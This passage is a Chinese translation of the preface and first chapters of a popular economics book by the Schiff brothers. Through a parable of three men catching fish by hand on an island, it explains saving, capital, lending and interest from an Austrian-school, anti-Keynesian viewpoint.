　　自由市场资本主义的本质就是权力分散，因此这一体制在全球大部分地区都对原有的僵化权力结构构成了威胁。此外，资本主义的扩张导致明显的贫富两极分化，促使一些社会学家和进步人士开始寻求他们眼中的公平正义，以取代自由市场资本主义体制。在这样的背景下，凯恩斯在看似不公平的市场经济中引入现代科学的概念。这种做法无意中迎合了国家权力中心和社会理想主义者的心态，使他们相信经济活动的确需要凯恩斯式的规划思路。

　　凯恩斯的核心观点是，在经济不景气时，政府可以通过扩大货币供给和财政赤字缓和自由市场的波动。

　　20 世纪二三十年代，凯恩斯的追随者（即凯恩斯主义者）们崭露头角，与支持路德维希·冯·米塞斯（Ludwig von Mises）等经济学家观点的奥地利经济学派产生了冲突。奥地利学派认为，经济衰退是经济繁荣期所做出的错误决定的必要补偿，经济迅猛发展过后必然会有一个相应的衰退期。他们认为，政府利用低利率“刺激”经济的做法向各个企业发出了错误的信号，这才是经济繁荣的首要原因。

　　因此，凯恩斯主义者力图缓解经济萧条，而奥地利学派则寻求避免虚假繁荣的途径。在两者随后的经济理论论战中，凯恩斯主义者有一个关键优势。

　　凯恩斯主义使人们以为可以拿出解决经济危机的无痛方案，因此立刻受到政治家们的追捧。凯恩斯倡导的各项政策承诺提高就业率，在税收不增加、政府服务不减少的前提下推动经济发展，这些政策与那些无须节食、无须运动的神奇减肥计划一样具有魔力。尽管这些愿望不合常理，但却令人颇感慰藉，因此成了竞选活动中惯用的手法。

　　凯恩斯主义允许政府摆出一副有能力提高人们生活水平的模样，只要印钞机开动起来，什么都可以做到。因为具有亲政府的倾向，凯恩斯主义者们比奥地利学派学者更有可能接受政府的任命。那些培养出数位金融大臣和财政部部长的大学的声望明显高于没有这些成就的大学，各大学经济系也不可避免地青睐那些支持凯恩斯主义的教授，而奥地利学派则不断受到排挤。

　　同样，那些大型金融机构和众多经济学家效力的大雇主也都对凯恩斯的主张青睐有加。大银行和投资公司利用凯恩斯主义者创造的低息贷款和宽松货币政策等经济条件，赚得盆满钵满。另外，凯恩斯主义者认为政府政策应当鼓励投资，这一理念也帮助金融公司把手伸进了很多头脑发热的投资者的钱袋。因此，这些金融公司更倾向于雇用那些支持凯恩斯主义的经济学家。

　　与呆板守旧的竞争对手相比，凯恩斯主义者有着明显的优势。于是，一个自我实现、相互吹捧的社会很快催生了一大批热衷于凯恩斯主义原则的顶级经济学家。

　　这些经济学家将凯恩斯政策奉为真理，认为它可以结束大萧条的局面。他们中的很多人认为，如果没有政府出台的刺激政策（包括第二次世界大战必需的军费），我们永远也无法从经济衰退的绝境中恢复元气。事实上，此次大萧条是现代历史上历时最长、程度最严重的一次经济衰退，凯恩斯政策在这次经济衰退中首次得到了全面而充分的运用。至于这些政府干预措施究竟是不是经济萧条得到遏制的原因，这个问题至今为止仍然充满争议，但是所有正统的“经济学家”都认为这种争论没有什么价值。

　　如果我们允许凯恩斯主义者们牢牢控制着多个经济部门、金融部门以及投资银行，那跟我们委托占星师而不是天文学家测量天体的运行速度是一样的。（是的，卫星曾经撞击过小行星，但那只是一次不期然的偶遇，是一次美丽的意外！）

　　这种情形让人哭笑不得的地方在于，无论经济学家们多少次彻底搞砸了自己的任务，无论有多少支火箭还没有离开发射台就爆炸了，这些责任重大的人物没有一个质疑过自己处理问题的方式。

　　普通人慢慢明白了，其实这些经济学家们根本不知道自己在说什么。但是大多数人只是想当然地认为这是因为经济领域的确太大了，并且充满风险，毫无逻辑可循，即便是受教育程度最高的人也不可能拥有预知一切的能力。

　　但是，如果我告诉你凯恩斯主义者们所推崇的经济二元性根本就不存在，会怎样？如果经济学比他们所说的简单得多，会怎样？如果对母鹅有益的东西对公鹅也一样，会怎样？如果一个家庭乃至一个国家不可能靠花钱实现繁荣，又会怎样？

　　很多人熟知我曾对 2008 年的经济衰退做过精准的预言，他们认为我的智慧决定了我的远见。我可以向你保证，大多数经济学家连自己身边的资产泡沫都看不到，而我并不比他们聪明。我具备的是对经济学基本原则全面而深刻的理解。

　　我的确具有这个优势。在我还是个孩子的时候，父亲就为我准备了一个简单的工具包，里面的工具可以帮助我认清经济的真实面目。这些工具以故事、寓言以及思想实验的形式出现，本书就是以其中一个故事为基础展开的。

　　我的父亲欧文·希夫（Irwin Schiff）拥有一定的知名度，与反对联邦所得税的全美运动有着千丝万缕的联系。他坚持认为所得税的强制实施违犯了美国宪法中与税收相关的三项条款、宪法第 16 修正案以及税收法律的有关规定，并在 35 年多的时间里持续不断地反对美国国税局的这一做法。他曾经就这个主题写过很多书，也曾在法庭上公开挑战联邦政府。因为这些举动，他付出了沉重的代价，直到 86 岁高龄时，他还被关押在联邦监狱中。

　　但是在将自己的关注点转向税收之前，欧文·希夫已经是一位颇有名气的经济学家了。

　　欧文·希夫于 1928 年出生于康涅狄格州纽黑文市一个下层中产阶级家庭，是家中的第八个孩子。他的父亲是一名工会会员，整个大家庭都是“罗斯福新政”的狂热支持者。1946 年，欧文进入康涅狄格州州立大学学习经济学。以他的家庭背景和性格，没有人相信他会摒弃占统治地位的正统经济学观念，转而坚决支持过时的奥地利学派的观点——但是他却实实在在这样做了。

　　欧文总是有独到的想法，加上对自己充满信心，他总感觉自己所学的东西与现实生活有些脱节。他深入研究了所有经济理论，广泛涉猎了亨利·赫兹利特（Henry Hazlitt）与亨利·格雷迪·韦弗（Henry Grady Weaver）等自由思想家的著作。尽管欧文的转变是循序渐进的（经历了 1950~1960 年整整 10 年的时间），但他最终成为健全货币、有限政府、低税收和个人责任的狂热信仰者。1964 年，欧文满腔热情地支持巴里·戈德华特（Barry Goldwater）竞选美国总统。

　　在 1944 年的布雷顿森林会议上，美国说服了全球很多国家支持美元取代黄金的做法。由于美国保证 35 美元兑换 1 盎司黄金，这个计划得到了广泛赞同，美国也因此拥有了世界上 80% 的黄金。

　　然而，美联储中的凯恩斯主义者造成的长达 40 年的通货膨胀导致与美元直接挂钩的黄金价格严重下跌。这种错位的现象造成了众所周知的“黄金外流”。1965 年，由法国牵头，许多国家纷纷以美国联邦储备券（即美元）兑换黄金，以 1932 年的金价从美国手里买走了大量黄金，美国的黄金储备迅速减少。

　　1968 年，林登·约翰逊总统的几位经济顾问声称，那次黄金外流并非由低价出售的诱惑力所致，而是因为外国政府担心美国的黄金储备不足，无法支持本国所持有的流通货币，也无法与外币进行兑换。为解决这个令人焦虑的问题，约翰逊总统的众多金融专家纷纷献计，建议将法定用于支持本国美元的 25% 的黄金储备转为外国美元持有者的备用储备。他们认为，这项额外的保护措施将会安抚外国政府，阻止黄金的继续外流。当时的欧文只是康涅狄格州纽黑文市的一个年轻的生意人，他对政府这种做法十分不解，觉得他们的观点非常荒唐。

　　欧文给得克萨斯州的参议员约翰·托尔（John Tower）写了一封信，托尔当时是黄金问题评估委员会的成员。欧文在信中说，美国政府面临两种选择：要么强行摧毁现行的价格结构，将金价恢复到 1932 年的水平；要么调高金价，与 1968 年持平。换句话说，要调整凯恩斯主义导致的长达 40 年的通货膨胀，美国政府必须做出选择，要么紧缩通货，要么让美元贬值。

　　尽管欧文认为通货紧缩或许是重振美国经济最有效的做法，因为通货紧缩可以使美元恢复购买力，但他觉得经济学家们错误地将价格下滑当作灾难，而政府天生具有通货膨胀的偏好（本书将对此进行论述）。出于这些考虑，他认为当权者至少要承认此前的经济下滑，并且降低美元对黄金的价值。在这样一个方案中，欧文觉得黄金的价格必须达到每盎司 105 美元。

　　欧文还担心另外一种可能性更大也更危险的选择：政府不作为（其实这也正是政府的选择）。当时的选择是，究竟是面对现实解决问题，还是将问题留给下一代人。当权者选择了将问题留给下一代人，而我们就是那下一代人。

　　托尔对欧文论证问题的基本逻辑印象深刻，他邀请欧文为黄金问题评估委员会全体委员做报告。在这次听证会上，来自美联储、美国财政部以及国会的高级货币专家们都证实，与黄金脱钩将会增强美元的购买力，降低金价，引领美国进入一个繁荣发展的阶段。

　　在其证词中，欧文却坚持认为，美元与黄金脱钩会导致金价飞涨。更重要的是，他还警告说，一种没有任何内在价值的货币会导致大规模通货膨胀以及无法持续的政府负债。但在当时，这种少数派的意见完全被忽视了，美国政府取消了金本位制。

　　与经济学家们的预期相反，额外的储备未能阻止黄金的外流。最终，美国总统理查德·尼克松于 1971 年彻底切断了美元与黄金的联系。从此以后，全球经济体系完全建立在没有任何价值的美元之上。接下来的 10 年里，美国经历了史上最严重的通货膨胀，黄金价格直逼每盎司 800 美元的天价。

　　1972 年，欧文在其著作中展开了对凯恩斯主义经济学的首次全力攻击。在书中，他指出凯恩斯经济学将美国引向了一条不可持续的经济发展之路。这部名为“最大的骗局：政府是怎样欺骗你的”（The Biggest Con: How the Government Is Fleecing You）的著作赢得了广泛的赞誉，销量也相当可观。书中有很多有趣的故事，其中有一个故事讲的是三个人在一座小岛上徒手捕鱼的事。

　　这个故事是欧文在一次全家自驾游时为了消磨时间讲的。当时堵车，欧文就想给两个年少的儿子讲点儿经济学的基本知识（任何男孩都会对此感兴趣）。为了让两个儿子开心，他总会讲些有意思的故事。这次讲的就是“鱼的故事”。

　　这个故事构成了《最大的骗局》一书中其中一章的主要内容。大约 8 年之后，由于众多读者反映非常喜欢他写的故事，欧文决定将这本书改版为有插图的书，并命名为“经济增长模式与停滞的原因”（How an Economy Grows and Why It Doesn’t）。这本书于 1979 年首次发行，受到了奥地利学派追随者的狂热追捧。

　　30 年后，我看着美国经济垂死挣扎，看着美国政府不断重复和加深过去的错误，此时，我的弟弟和我觉得要为新一代修改和更新“鱼的故事”，现在正是最佳时机。

　　当然，现在人们最需要的是了解经济的真实情况，而这个故事是我们所知道的最佳工具，它可以帮助人们更好地了解是什么在推动经济的运行。

　　我们这个版本的故事在很多方面比我们的父亲欧文 30 年前的那个版本更富有雄心。我们的视野更宽，为使故事与历史脉络衔接自然，我们付出了更大的努力。事实上，我们的故事应该说是在父亲那个故事基础上的即兴发挥。

　　听到经济学家们喋喋不休地谈论与现实生活看似毫无关联的概念时，有些人会不知所云。我们希望这本书能够吸引这些读者。我们打算证明凯恩斯主张的经济模式（政府相信没有价值的货币可以作为有效的经济润滑剂并不加证实地采纳了这个模式）是错误的，而且是危险的。

　　可惜，所有的经济学家都忘记了他们正戴着玫瑰色眼镜。当你摘下他们的眼镜时，就会清晰地看到我们的国家正面临着很多严重的问题，而我们非但没有使形势好转，反而使它变得更加糟糕。幸运的是，如果我们重新理清思路，我们至少还有机会努力解决这些问题。

　　本书的主题非常严肃，但在这个压力巨大的时代，我们选择了一种幽默的方法阐释这个主题——这也是我们的父亲欧文的愿望。

写在前面

　　在这个关于美国经济史的寓言故事中，读者会遇到很多似曾相识的人物与事件。但是，要将这样一个错综复杂的故事浓缩为一部漫画式作品，只能进行粗线条的描述。

　　除了特定历史人物的辉煌成就之外，故事中的人物代表着更宽泛的概念。例如，本·伯南柯的原型很明显是美联储主席本·伯南克（Ben Bernanke），但故事中伯南柯的所作所为却不是单纯指伯南克本人的做法，他其实是所有主张高通货膨胀率的经济学家的代表。

　　在现实生活中，美国联邦储备券在富兰克林·罗斯福当选总统前 20 年就已经出现了。但考虑到他有花钱的嗜好，于是我们决定将这一创新归功于他；当美国参议院银行委员会前主席克里斯·多德（Chris Dodd）还是个孩子的时候，房利美（联邦国民抵押贷款协会）就已经存在了，但是因为他多年来对该公司的扶持，在我们的故事里，我们赋予他公司创始人的身份。还有，尽管本书提到的那些外国岛屿基本上都与真实的国家相关，但这些岛屿也是所有国家的化身。我们对某些历史事件及人物经历进行了艺术处理，请您多多包涵。

第一章：一个好点子出炉了

　　从前，有三个人——艾伯、贝克和查理，他们住在一座岛上。这座小岛地处热带，却不是天堂。这里的人们生活艰苦，没有任何奢侈品，而且食物的种类极少，他们的菜单上只有一道菜：鱼。

　　幸运的是，小岛周围有数量可观的鱼，但奇怪的是，这些鱼全部属于同一品种，每条鱼都很大，足够一个人吃一天。然而，这个地方很闭塞，人类先进的捕鱼技术这里一种都没有。他们能做的只有跳进水里，用手去抓住那些又黏又滑的家伙。

　　运用这种低效的技术，每人每天只能捕到一条鱼，只能帮他们挨到第二天。捕鱼成了小岛经济的全部。他们每天的活动就是醒来、捕鱼、吃鱼、睡觉。虽然生活不算惬意，但总好过忍饥挨饿。

　　因此，在这座生活超级简单、只有生鱼片可吃的小岛上——

　　没有存款！

　　没有借贷！

　　没有投资！

　　所有的产出全都消费掉了！没有未雨绸缪，没有多余的财物可以借出。

　　虽然这座小岛上的居民过着一种原始的生活，但这并不能说明他们愚笨迟钝或者没有追求。与所有人一样，艾伯、贝克和查理也想提高自己的生活水平，但是要实现这个梦想，他们每人每天捕鱼的数量就必须超过一条。不幸的是，由于他们只能徒手捕鱼，而那些鱼又很机敏狡猾，三个人只能勉强糊口。

　　一天夜里，仰望着繁星点点的夜空，艾伯开始思索自己生活的意义……“难道我的日子就这样了吗？肯定有比现在更舒心的日子。”

　　除了捕鱼，艾伯还想做点儿别的事情。他想做几件更好、更时尚的棕榈叶衣服，他想要一个遮风挡雨的住所，当然他还想执导几部故事片。但他每天忙于捕鱼糊口，这些梦想如何成真呢？

　　他的大脑飞快运转着……突然他想到了捕鱼器，这个物件可以在很大程度上扩大人手可触及的范围，并且使鱼溜掉的概率大大缩小，只要一下捉住它，它就很难逃脱。有了这个新装置，他就能在较短的时间里捕到更多的鱼了！而那些空闲时间，他就可以用来做更好的衣服、建个住所，最后再拍部影片。

　　艾伯在头脑中勾勒着捕鱼器的轮廓，想着想着就激情澎湃。他构想出一个不再受捕鱼之累的未来。

　　他决定给自己的捕鱼器取个名字，叫作“渔网”，然后开始找材料织这张网。

　　第二天，贝克和查理注意到艾伯没有捕鱼，而是站在沙滩上用棕榈树皮搓绳子。“你在干什么呢？”贝克问，“难道在减肥吗？你要是老坐在那儿弄那些绳子，会挨饿的啊。”

　　艾伯解释说：“我突然有个灵感，想做个捕鱼器，这样就可以尝试捕鱼的新方法了。有了这个捕鱼器，捕鱼的时间就能缩短，再也不会挨饿了。”

　　查理惊得眼珠直转，他想自己的朋友肯定是疯了。“你疯了，这样做，我告诉你……疯了。要是你这捕鱼器不好使，可别哭着来跟我要鱼吃，一片也别想。我头脑清醒，但这并不表示我会为你的疯狂做法埋单。”

　　艾伯没有被查理的话吓倒，仍然继续织网。

　　到这一天结束时，艾伯终于织完了自己的渔网。通过自我牺牲（挨饿），他创造了资本。

故事引申

　　在这个简单的任务中，艾伯向我们展示了一个基本的经济原则，这个原则可以提高人们的生活水平：消费不足，敢于冒险！

　　消费不足：为了织网，艾伯那天就不能去捕鱼。他必须放弃当天的所得，放弃那条本来可以捕到、吃到的鱼。他这样做并不是因为他不需要鱼，事实上，他爱吃鱼，而且如果那天没有捕到鱼，他就会饿肚子。他对鱼的需求与他的两个朋友没有什么不同。他选择暂时延迟消费（吃鱼），是为了将来消费更多的产品（捕到更多的鱼）。

　　冒险：除了消费不足，艾伯还需要冒险，因为他也不知道自己做的捕鱼器到底好不好用。自己花费了一天的时间饿着肚子辛苦劳动，却不知道这东西究竟能不能补偿所失。最后的结果很可能只剩一把绳子和一个饿瘪的胃。如果这个想法失败了，艾伯不能指望贝克和查理给自己任何补偿，因为他俩早就警告过他这样做很傻。

　　在经济学术语中，资本指的是一种设备，这种设备的建设和使用本身没有什么意义，其意义在于利用设备建设和制造其他需要的东西。艾伯想要的不是那张网，而是鱼。这张网或许可以给他带来更多的鱼。因此，这张网就是一种资本，是有价值的。

　　那天晚上，当贝克和查理吃饱睡大觉时，艾伯却只能在脑海中想象着美味的鱼肉来对抗难忍的饥饿。然而，饥饿带来的痛苦并不能浇灭他对未来的希望。他希望自己的选择是正确的，希望自己有一个光明的未来，希望那时有吃不完的鱼。

　　第二天，贝克和查理对艾伯的发明好一顿嘲笑。

　　贝克说：“嘿，这顶帽子看上去不赖啊。”

　　查理说：“就是戴着打网球有点儿热，你说呢？”

　　“你们就笑吧！”艾伯回应道，“等着瞧吧，等我的鱼多得没处放时，看看那时笑的是谁。”

　　艾伯拿着渔网朝海浪冲去。他对如何使用这个奇怪的渔网还不得要领，因此不断遭到两个朋友的嘲笑。

　　但是几分钟后，他找到了窍门，很快就捕到一条鱼。

　　贝克和查理不再笑了。在接下来的一小时里，艾伯又捕到了第二条鱼。两个伙伴惊叹不已，毕竟，他们通常一整天才能抓住一条鱼！

　　从这样一个简单的行动开始，这座小岛上的经济开始发生巨大的变化。艾伯提高了生产力，这对每个人而言都是好事。

　　艾伯现在还在考虑他突然间得到的恩惠：“既然我一天捕到的鱼可以吃两天，那么我可以利用隔天休息的时间做点儿别的事情。可做的事情太多啦！”

故事引申

　　艾伯的生产力提高了一倍，现在他生产的东西多于自己需要消费的东西。生产力的提高带来了许多益处。

　　在艾伯孤注一掷去编织渔网之前，小岛上还没有什么储蓄之所。他决定冒险挨饿制造的这张网成了小岛上的第一件资本设备。这件设备接着会带来储蓄（为了让这个故事能够继续进行，我们假设这些鱼不会腐烂变质），而这种剩余产品就是健康经济的命脉。

现实链接

　　对所有物种而言（人类除外），经济学其实可以简单理解为日常生存活动。食物短缺、天气恶劣、食肉动物的威胁、疾病的困扰、发明相对较少、忍饥挨饿地活着（有一点儿剩余时间进行再生产），这是所有动物的生存常态。所幸我们人类拥有两样东西——我们的大脑和灵巧的双手，否则我们的命运跟那些动物不会有什么分别（在不太久远的过去，我们跟它们是一样的）。靠着大脑和灵巧的双手，我们制造了工具和机器，改造环境的能力大大提高。

　　经济学家托马斯·伍兹（Thomas Woods）喜欢用一个简单的思想实验测试学生：如果所有的机器和工具都不复存在，我们的经济会是什么样子？汽车、拖拉机、炼钢炉、铲子、独轮（手推）车、锯、斧头、长矛等，如果这些东西真的全都消失了，我们所有的消费品都要靠自己的双手猎取、采摘、种植和制作，那会是什么样子？

　　毫无疑问，那样的生活肯定很艰苦。如果我们必须赤手空拳地制服猎物、将其作为食物的话，想象一下那该有多艰难吧。以我们的能力根本不可能逮住大家伙，兔子或许还有可能——但你总得先抓住它们啊。如果我们必须用手种菜、摘菜，如果我们连装粮食的麻袋都没有的话，又会怎样？设想一下，如果没有工厂，我们必须自己缝衣服、做家具，而且连最起码的剪刀和钉子都没有，那又会怎样？

　　尽管我们有智慧，但我们过得可能并不比黑猩猩和猿猴好多少，至少从经济方面来看是这样。

　　工具改变了一切，使经济的出现成为可能。长矛帮助我们捕获猎物，铲子帮助我们种植庄稼，渔网帮助我们捕鱼。这些工具提高了我们的劳动效率。我们生产的东西越多，可以消费的东西就越多，我们的生活也就变得越美好。

　　努力使有限的资源（每种资源都是有限的）产生最大的效益以尽可能满足人类的需求，这就是经济这一概念最简单的定义。工具、资本以及创新是实现这一目标的关键。

　　牢记这一点，我们就很容易理解经济增长的原因：找到了生产人类所需物品的更好方式。不管一个经济体最后变得多么强大，这个原因是不会改变的。

第二章：把财富分享给别人

　　艾伯，那个企业家，看起来前途一片光明。但是，小岛上另外两个人的情况又如何呢？我们是不是创造了一个贫富分化的等级体系？贝克和查理会因为艾伯的成功而不安吗？不大可能。虽然艾伯从来没有刻意使他人受益，但他的资本无疑帮助了岛上的所有人。我们来看看这是怎么回事。

　　亲眼见证了艾伯轻松捕鱼的全过程，贝克和查理央求他分享新发明的捕鱼器。

　　“嘿，艾伯！”查理说，“既然那玩意儿你隔天才用一次，那你不用的那天，让我用用行吧？”

　　贝克说：“喂，老兄，有福同享啊。”

　　但是艾伯还对昨天的事情耿耿于怀。他还记得自己的牺牲……他还记得他们俩的嘲讽，而且他还想到了风险。“如果他们把我的渔网弄破了怎么办？如果他们不还我怎么办？那我就要从头再来了。再见，穿树叶的哥们儿！”

　　想到这些，艾伯拒绝了两人的要求。“对不起，哥们儿。我自己做了渔网，你们俩肯定也能自己做，至少你们现在知道那东西是有用的，对吧！”

　　尽管查理已经看到用渔网捕鱼的效率，但他很担心自己能不能编织出这样一张网。

　　他对艾伯说：“我怎么知道自己能不能编织出来？我以前从来没做过这样的东西，而且我也挨不了饿。我怕自己织好网前就饿死了！”

　　贝克提出了另外一个建议：“好吧，你这个吝啬鬼，看来你是不会帮我们什么忙了。我们知道了。你看这样行不行，我们编织渔网时，你把富余的鱼借给我们吃，那样我们织网时就不用挨饿了。等我们捕到多余的鱼，再把鱼如数还给你。”

　　尽管艾伯觉得这个办法比白白把网借给他们要好，但他还是不放心。“如果我把鱼借给你们，怎么保证你们不会躺在沙滩上一整天都不干活呢？即使你们织出自己的网来，也许还不好用呢。如果那样，你们就永远无法还我鱼了，而我失去了自己的储蓄，一无所有了！你们总得想一个更好的办法。”

　　查理和贝克这才明白，他们让艾伯冒险把鱼借给自己，却没有考虑到他的个人利益。但是捕到更多鱼的诱惑太大了，所以两人很快就想到了一个办法，让艾伯忍不住冒险一试。

　　他们认为必须在数字上做文章，于是金融思维诞生了！

　　贝克走近艾伯，说道：“我们做个约定吧：你借给我们一条鱼，我们会还你两条。这可是百分之百的利润啊。除了这座小岛，你到哪儿能找到这样的高回报？”

　　艾伯动心了。“我对这个约定很感兴趣！”他的语气中没有任何迟疑。

　　艾伯想到了那些财富：“如果我借给他们两条鱼，就能收回 4 条。也就是说，我什么都不用做就可以得到两条鱼。那我岂不成了一个鱼老板啦！”

　　也许有些人觉得艾伯有些过分了。如果这个故事是一部好莱坞电影，他这时肯定会得意地捻着自己打了蜡的胡子。他这是在窃取别人的劳动成果，靠别人的辛苦劳动获利！

　　但是这样评论艾伯是不恰当的，因为即便艾伯的动机只是想赚些鱼，他的贪婪也可能带来一些意想不到的益处。

　　有一点很重要，我们要知道艾伯并不是一定要把鱼借给别人，他还有其他方案，包括以下 4 个选择：

  1. 他可以把鱼留下，留着自己以后吃——这是最保险的选择。这样，他不会有任何损失，当然，他的储蓄也不会有什么增长。
  2. 他可以放纵一下，不再干活，将自己的储蓄（存下的鱼）消费掉。
  3. 他可以建立自己的渔网出租公司。如果艾伯每天吃掉一条富余的鱼，两天就可以再编织出两张网。

　　然后，他可以把多余的网租给贝克和查理，向他们收取每人每天半条鱼的租金。这样，艾伯每天不必亲自捕鱼就可以得到生存所需的那条鱼了。哈哈，提前退休！

　　在这个方案中，贝克和查理每天也许能用租来的渔网捕到两条鱼。在向艾伯支付半条鱼的租金之后，他们每人每天还剩下一条半鱼，比他们没有渔网时捕到的鱼多 50%，算是双赢的买卖了。

　　尽管这个方案很吸引人，艾伯还是注意到了其中的逻辑缺陷。贝克和查理租借渔网的时间可能只有两天，然后用富余的鱼果腹，花一天时间织出自己的网。如此一来，他能得到的鱼就只有两条——那可真够冒险的！

  1. 他可以把两条鱼借给贝克和查理，收取 100% 的利息。在这个方案中，如果两个人按照约定利率足额偿还，艾伯就可以得到 4 条鱼。但是，这个方案也存在风险，他们可能会翻脸不认账。

　　抉择……抉择……艰难的抉择！

　　总的来说，艾伯（以及这个社会）处理储蓄（鱼）的方式只有 5 种：

  1. 他可以把储蓄存起来。
  2. 他可以把储蓄消费掉。
  3. 他可以把储蓄借出去。
  4. 他可以用储蓄投资。
  5. 他可以将上述 4 个方式有机结合起来。

　　毫无疑问，艾伯的最终决定取决于个人对风险和回报的偏好。但不管最终方案是什么，他的抉择都会惠及这座小岛的经济，而且也不会给自己的两个邻居增加负担。

　　最后，艾伯选择把鱼借出去。

故事引申

　　艾伯愿意并有能力把多余的鱼借给别人，因此，贝克和查理也拥有了自己的渔网。现在大家都有渔网可用了，小岛上的整体捕鱼能力便从每天三条鱼提高到每天 6 条鱼，经济增长翻番，前景更加光明。

　　但事实并非如此，因为这三个人对自己颇具局限性的生活方式感到不满。饥饿（其经济术语为“需求”）只是刺激经济增长的必要而非充分条件。

　　追求更多是人类的本性。不管已经拥有什么，我们总是想要更多。也许不是想要更多的东西，而是更多的时间、更多的乐趣、更多的选择，所有这些需求都需要资本。艾伯、贝克和查理这些年来对鱼的问题可能都没少抱怨，但他们最后都成功地提高了生产力，满足了自己的需求。

　　有了多余的鱼，小岛上的几位居民每天终于可以比原来多吃一些鱼了（原来是每天一条鱼），但是经济并没有增长，因为他们的消费增长了。而他们的消费之所以增长，是因为经济增长了。这个道理很简单，但令人不解的是现代经济学家竟然会在这个简单的问题上纠缠不休。

　　大多数经济学家认为，给老百姓更多的钱花就可以增加需求，但是这种做法并不能改变真正的需求，只会使人们花更多的钱购买已经生产出来的商品。只有增加供给才能切实满足人们更多的需求。

　　当然，有人也许并没有清楚地看到其中的共同利益。看到艾伯猛增的财富，如果贝克和查理心生嫉妒，强烈要求分得他的部分储蓄该怎么办？

　　设想一下这个场景：

　　贝克烦躁地说：“看看那家伙穿着棕榈叶做成的小礼服那副得意的样子。我们每天一身臭汗风里来浪里去地跟那些滑头的鱼斗争，他却没有一点儿善心！他就不能分给我一两条鱼，哪怕让我休息一天也好啊！他的鱼多得堆成山，少一条也没什么啊！”

　　查理附和道：“分给我点儿吧，贵人！”

　　或者再想一下下面这个场景：

　　假设艾伯对自己的相对财富有些负罪感，听了两个人的说法后思想动摇了，于是无偿地把鱼分给了他们，那么贝克和查理会怎样处理这些鱼呢？

　　没有了还款的压力，两个人最有可能做的是利用这份礼物享受闲暇时光。这样做并没有什么错（事实上，这也是大多数人类行为的目标），但是贝克和查理的假日时光并不能提高这座小岛的生产能力。因此，尽管慈善之举听起来颇有雅量，也会提升艾伯的人气，但这一举动却无法像商业贷款一样推动经济发展。

　　最根本的是，所有能够增加捕鱼（生产）量的事物都会惠及小岛，鱼越多，大家就越有可能吃到更多东西，也就越有可能做捕鱼以外的事情，或者他们可以什么都不做。

故事引申

　　也许有人会想，如果艾伯果真是一个贪心的人，拿着自己的新财富生财，从而变得越来越富有，那该怎么办？

　　这样真的很危险吗？如果艾伯增加储蓄（而不需要亲自劳动）的唯一途径就是将这些储蓄借给自己的邻居的话，那他又何必大量囤积呢？

　　但若非如此，他的财产就不会增加，甚至还会越来越少，因为他自己还要消费呢！私人资本主义可以促使那些将个人利益作为唯一动机的人帮助他人提高生活水平，这是最有意义的。

现实链接

　　财富从来就是一个相对的概念。在原始社会，财富是极少的，那时最富有的人所拥有的物质财富还不如工业化社会中穷人的财富多。在中世纪，即便是至高无上的国王也缺乏基础的娱乐设施，而在今天的美国，中央空调、室内管网以及冬天里新鲜的蔬菜等几乎是人人都能享受的。尽管贝克和查理认为每天吃两条鱼简直奢侈到了极点，可在我们看来，这种生活丝毫不值得羡慕。

　　但是令人吃惊的是，财富是分等级的，这个事实本身就不公平。人们认为富人之所以富有，是因为他们攫取别人的财富，并由此产生了穷人。在现代经济学中有一个理论认为，利润是通过少付工人工资产生的，有人称之为“劳动价值论”。这样看来，像艾伯这样的企业家或类似的大型公司要想致富，只能先让别人变穷。

　　上述理念与道德取舍息息相关，但与现实无甚关联。富人致富的原因（至少开始时）是他们为他人提供了有价值的东西。艾伯就为那些没有足够储蓄的人提供了储蓄。如果他赢利了，那也是因为他提供的服务对别人是有价值的。

　　如果艾伯是一个无赖，每天所做的就是窃取邻居一半的劳动成果，那么他的财富就是建立在那些受其压迫的人的贫穷的基础之上的。这种做法会迫使他人做一些损害自己利益的事情，不会增强这座小岛的整体生产能力。艾伯可能会直接拿走别人生产的东西，而岛上的产量并没有任何变化，不仅如此，他们的整体产能还可能下降。当被压迫阶级认识到自己的劳动果实被人偷走时，就会缩减自己的劳动量。

　　历史上，此类事例并不少见，奴隶制、农奴制以及佃农制都属于这一类型。当自身的利益受到损害时，劳动者就会奋起反抗压迫，如果他们的劳动惠及自身的话，这种反抗会更加强烈。

　　不幸的是，争取充分经济自由的实例在世界历史上还很鲜见。不过，一旦利己主义得到发展机会，生产能力就会迅速提高。

　　信用卡的使用就是经济自由惠及百姓的最佳例证。只要贷款人和借款人可以自由地达成协议，总体效果就是好的。然而，我们将来会发现，借贷市场会受到外力挤压，如果出现这种情况，灾难便在所难免了。

第三章：信用卡的多种用途

　　如前所述，艾伯决定把鱼借给贝克和查理，这样他们两个人就可以编织渔网了。这种商业贷款是资本的最佳用途，因为这样可以扩大生产。

　　当然，通过借钱或借鱼的做法创业，无法保证企业一定会成功，因为借款人可能无法完全实现自己最初的计划。

　　也就是说，查理和贝克如果不能成功地编织出自己的渔网，艾伯借出的鱼就打了水漂。

　　在很多案例中，企业失败的原因在于没有意识到事先应当做好所有约定。假设贝克和查理不是向艾伯借鱼、省出时间来织网，而是利用这些时间研发对鱼群实施催眠术的技术，情况可能会大不相同。

　　如果他们研发的技术无效，这项贷款就无法使“借款人”查理和贝克受益，而贷款人艾伯也得不到任何好处。

　　最糟糕的情况是，贷给不赢利企业的那些款项浪费了社会储蓄，降低了生产力。结果，贷款人连本金都很难收回，更不要说利息了。

　　但是实施顺利的商业计划弥补了那些实施不利的计划的损失。

　　因此，很重要的一点是，你要知道商业贷款并非社会储蓄的唯一选择，艾伯还可以选择其他贷款形式——消费贷款和应急贷款。

故事引申

　　一旦外部力量（比如政府干预）以各种理由鼓励或者要求储蓄者借出款项，而不考虑实际还款的可能性，这时贷款人就难免要承受较大的损失。这种有悖常规的做法只会浪费社会储蓄。

　　各国政府满腔热情要做点儿好事，总想干预储蓄的借贷方式。它们通过诸多法律，使得某些贷款类型比其他类型更有吸引力。但是，政府并没有储蓄，只有个人才有！假如在政府的激励之下，贷款都流向了那些最终无法还款的个人或者企业（它们的确经常无力还款），那么这些损失就要由那些牺牲了自己的利益创造储蓄的个人来承担了！

　　事实上，如果艾伯是被迫向外贷款，而他又认为这份贷款颇有风险，比如用于鱼类催眠术之类的情况，那么他一开始就会很不情愿这样做。因此，他可能会决定不再那么努力地工作，或者不再牺牲那么多去储蓄了！

消费贷款

　　假设艾伯不是把鱼借给贝克和查理，让他们去织自己的网，而是满足两人的借款需求，他们因此可以去度假，情况就会有所不同。

　　贝克会说：“嘿，捕鱼大王，你别在那儿数鱼了，还是借几条鱼给我和我的兄弟查理，我们一两天就还你。不是只有你一个人有权享受悠闲的生活，再说，我们又不是不还你。”

